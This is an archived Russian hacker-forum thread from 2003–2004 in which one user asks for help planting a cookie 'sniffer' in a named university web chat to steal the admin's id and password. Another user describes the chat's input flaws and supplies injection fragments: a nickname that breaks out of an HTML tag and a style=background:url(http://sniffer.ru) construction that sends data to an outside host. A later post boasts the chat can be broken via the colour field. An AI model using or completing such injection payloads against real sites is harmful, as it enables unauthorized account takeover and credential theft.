PDA

Просмотр полной версии : Чат

Arthur
18.01.2003, 20:37
Алгол,посмотри пожалуйста на этот чат (http://www.dgu.ru/uci/chat/chat.htm).Есть ли там уязвимости???Мне именно нужно сниффер вставить.

p.s. Это древняя версия thankschat'а (как на зеркале).
С флудом всё понятно...зафлудить его любой может,а вот картинку вставить....
Algol
18.01.2003, 22:37
Куча глюков.. можно писать от любого имени, можно смотреть приваты наверно...
Проходят символы % в нике что позволяет вставлять скрипты срабатывающие на нажатие (но толку мало так как длинна ника ограниченна 14 символами)
И самое главное:
В нике проходит одинарный апостроф, что позволяет выйти внутрь тега (в списке юзеров).
Проблема опять же в том, что длинна ника ограничена.
Но, думаю если зайти под несколькими хитрыми никами одновременно, то можно все же влепить сниффер.
Первый ник должен быть такой:
`'style=`

Остальное додумывай сам....
Arthur
18.01.2003, 23:51
Хорошо я зайду под несколькими никами и в том числе под "`'style=`".И что, юзверь должен будет всех их нажиматьhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gifКак этим можно воспользоватьсяhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif

з.ы. а у тебя получилось сниффануть чатhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif
Algol
19.01.2003, 14:00
Не нужно будет никуда нажимать ...
Нужно выйти внутрь тега, и вставить контсрукцию
типа style=background:url(http://sniffer.ru)
Arthur
19.01.2003, 15:58
А у тебя получилось это сделать?
Algol
20.01.2003, 00:36
нет...
я особо и не пытался....
долго это мудохаться нада...

А зачем собсвенно тебе туда сниффер вставлять ?
Arthur
20.01.2003, 14:18
Да мне собственно нужно тоже , что и всем тем кто сидит в чате т.е. получить права админа.Для этого нужно проснифить чат и узнать id и pass админа.Вот и всё... :)
Может ты все же попытаешься сниффануть???Если у тебя не получиться , то нахрен мне вообще пытаться :)
Algol
22.01.2003, 23:48
сорри, нет времени на это...
Arthur
23.01.2003, 19:49
:[
Arthur
30.01.2003, 18:53
Неужели у тебя нет нескольких минут что бы вставить сниффер???Почему ты не хочешь помочь???
06.06.2004, 23:07
Хе хе хе а чат то ломается..... через цвет :)
Оказывается всё так просто....... :))))
Правда админов там уже нет. Жаль. Можно было бы поиздеваться над ними... гы